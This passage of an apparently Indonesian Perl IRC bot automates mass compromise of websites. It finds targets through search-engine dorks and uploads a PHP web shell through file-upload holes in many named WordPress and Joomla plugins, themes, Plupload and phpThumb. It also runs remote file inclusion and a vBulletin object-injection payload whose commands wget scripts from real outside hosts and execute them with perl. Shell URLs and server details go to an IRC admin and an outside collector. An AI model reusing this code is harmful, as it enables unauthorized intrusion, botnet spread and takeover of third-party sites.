/) { my $test = "http://".$site."tmp/plupload/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$adsmanagerlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$adsmanagerlogo15$engine 4<9=4>4 sHeLL 4<9=4>5 $test12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$adsmanagerlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$adsmanagerlogo15$engine 4<9=4>4 sHeLL 4<9=4>5 $test12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$adsmanagerlogo15$engine 4<9=4>4 sHeLL 4<9=4>5 $test12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub pica_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$picalogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$picalogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."server/php.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['qqfile' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /error/) { my $check = $ua->get("http://".$site."server/uploads/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."server/uploads/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$picalogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$picalogo15$engine 4<9=4>4 sHeLL 4<9=4>5 $test12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$picalogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$picalogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$picalogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub rfi_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$rfilogo4$engine 12Finished 3for 12$dork "); } my $coba = "http://".$site.$bug."test??"; my $test = "http://".$site.$bug."http://rms.wpptech.ac.th/net2007/pagat.txt???"; my $dor = "http://".$site.$bug.$botshell."??"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $cek = &get_content($coba); &get_content($dor);sleep(1); if ($cek =~ /failed to open stream/) { &msg("$chan","$rfilogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site "); my $check = &get_content($test);sleep(1); if ($check =~ /pagat - exploit/i) { &msg($chan,"$rfilogo15$engine 9Crut15 $test "); my $nick = $simpan; my $safe =""; my $os =""; my $free =""; if ($check =~ m/Software : (.*?)<\/u><\/b><\/a>
/) {$soft = $1;} if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;} if ($check =~ m/OS : (.*?)
/) {$os = $1;} if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;} &msg("$chan","$rfilogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$rfilogo15$engine 4<9=4>4 sHeLL 4<9=4>5 $test12 (SafeMode=$safe) (OS=$os)"); &msg("$chan","$rfilogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os)"); } } } exit; } } } } sub avada_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$avadalogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$avadalogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/plugins/mac-dock-gallery/upload-file.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $shell = "pagat.php"; my $name = "pagat.php"; my $exploit = $ua->post($bx, Content_Type => 'form-data',Content => [uploadfile => [$shell, => $name],albumId => "1", mode => "image"]); if ($exploit->decoded_content =~ /file/) { my $check = $ua->get("http://".$site."wp-content/uploads/mac-dock-gallery/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/uploads/mac-dock-gallery//pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$avadalogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$avadalogo15$engine 4<9=4>4 sHeLL 4<9=4>5 $test12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$avadalogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$avadalogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$avadalogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub striking_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$strikinglogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$strikinglogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."components/com_sexycontactform/fileupload/index.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['files' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /files/) { my $check = $ua->get("http://".$site."components/com_sexycontactform/fileupload/files/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."components/com_sexycontactform/fileupload/files/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$strikinglogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$strikinglogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$strikinglogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$strikinglogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$strikinglogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub ccf_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ccflogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$ccflogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."components/com_creativecontactform/fileupload/index.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['files' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /files/) { my $check = $ua->get("http://".$site."components/com_creativecontactform/fileupload/files/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."components/com_creativecontactform/fileupload/files/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$ccflogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$ccflogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$ccflogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$ccflogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$ccflogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub sex_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$sexlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$sexlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/plugins/sexy-contact-form/includes/fileupload/index.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['files' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /files/) { my $check = $ua->get("http://".$site."wp-content/plugins/sexy-contact-form/includes/fileupload/files/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/plugins/sexy-contact-form/includes/fileupload/files/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$sexlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$sexlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$sexlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$sexlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$sexlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub cuckoobizz_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$cuckoobizzlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$cuckoobizzlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/plugins/photosmash-galleries/bwbps-uploader.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['Filedata' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /false/) { my $check = $ua->get("http://".$site."wp-content/uploads/bwbps/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/uploads/bwbps/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$cuckoobizzlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$cuckoobizzlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$cuckoobizzlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$cuckoobizzlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$cuckoobizzlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub coldFusion_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$coldFusionlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$coldFusionlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/themes/ColdFusion/includes/uploadify/upload_settings_image.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['Filedata' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /NOK/) { my $check = $ua->get("http://".$site."wp-content/uploads/settingsimages/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/uploads/settingsimages/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$coldFusionlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$coldFusionlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$coldFusionlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$coldFusionlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$coldFusionlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub nevada_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$nevadalogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$nevadalogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['wpcsp_file' => ['pagat.php'],'name' => 'upload_path','folder' => '../../../../uploads/'], 'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /-1/) { my $check = $ua->get("http://".$site."wp-content/uploads/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/uploads/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$nevadalogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$nevadalogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$nevadalogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$nevadalogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$nevadalogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub melrose_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$melroselogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$melroselogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/plugins/pitchprint/uploader/"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['files' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /files/) { my $check = $ua->get("http://".$site."wp-content/plugins/pitchprint/uploader/files/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/plugins/pitchprint/uploader/files/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$melroselogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$melroselogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$melroselogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$melroselogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$melroselogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub vb_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$vblogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$vblogo4$engine 12Finished 3for 12$dork "); } my $gode = 'ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:20:"echo%20$((0xfee10000))";}'; my $wex = LWP::UserAgent ->new; my $kombo = "http://".$site.$gode; my $gendut = $wex->get($kombo); if ($gendut->decoded_content =~ m/4276158464/i) { &vb_xpl($site,$chan,$nick,$engine); } } } } sub vb_xpl() { my ($site,$chan,$nick,$engine) = @_; my $waw = LWP::UserAgent ->new; my $sele = "http://".$site."pagat.php"; my $selbus = "wget http://www.aycempresarial.com/mambots/pagat.txt;mv pagat.txt pagat.php;cd /tmp;wget http://digitech-e.dyndns.info/includes/cache/sql.txt;perl sql.txt;wget http://digitech-e.dyndns.info/includes/cache/yoman.txt;mv yoman.txt yo.php;php yo.php"; my $telda = 'ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:151:"wget http://www.aycempresarial.com/mambots/pagat.txt;mv pagat.txt pagat.php;cd /tmp;wget http://cboard.pl/uploads/data/SQL.txt;mv SQL.txt bash;perl bash;rm -rf SQL*";}'; my $kodbe = "http://".$site.$telda; $waw->get($kodbe);{ my $potu = &get_content($sele); if ($potu =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($check =~ /SAFE_MODE : (.*?)<\/b>
/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>
/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$vblogo(7@2$engine15)(7@2SheLL15)9 $sele (15@4$os15)(15@4safemode 7:4 $safe15)"); #&msg("$nick","$vblogo(7@2$engine15)(7@2SheLL15)9 $sele (15@4$os15)(15@4safemode 7:4 $safe15)"); &msg("$admin","$vblogo(7@2$engine15)(7@2SheLL15)9 $sele (15@4$os15)(15@4safemode 7:4 $safe15)"); } } } sub design_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$designlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$designlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/themes/holding_pattern/admin/upload-file.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $file = "pagat.php"; my $addr = inet_ntoa((gethostbyname($site))[4]); my $digest = md5_hex($addr); my $dir = encode_base64('../../../../'); my $exploit = $ua->post($bx, Content => [ $digest => [$file] , upload_path => $dir ],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /error/) { my $check = $ua->get("http://".$site."wp-content/themes/holding_pattern/admin/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/themes/holding_pattern/admin/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$designlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$designlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$designlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$designlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$designlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub formcraft_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$formcraftlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$formcraftlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/plugins/formcraft/file-upload/server/php/"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['files' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /failed/) { my $check = $ua->get("http://".$site."wp-content/plugins/formcraft/file-upload/server/php/files/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/plugins/formcraft/file-upload/server/php/files/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$formcraftlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$formcraftlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$formcraftlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$formcraftlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$formcraftlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub phpthumb_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$phpthumblogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$phpthumblogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://trans-nika.pl/buffer/index1.txt -O index1.txt"; my $website = "http://".$site."mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/index1.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv index1.txt index1.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/index1.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=phpthumb"; &get_content($sender); &msg("$admin","$phpthumblogo15$engine 12<4=12>7 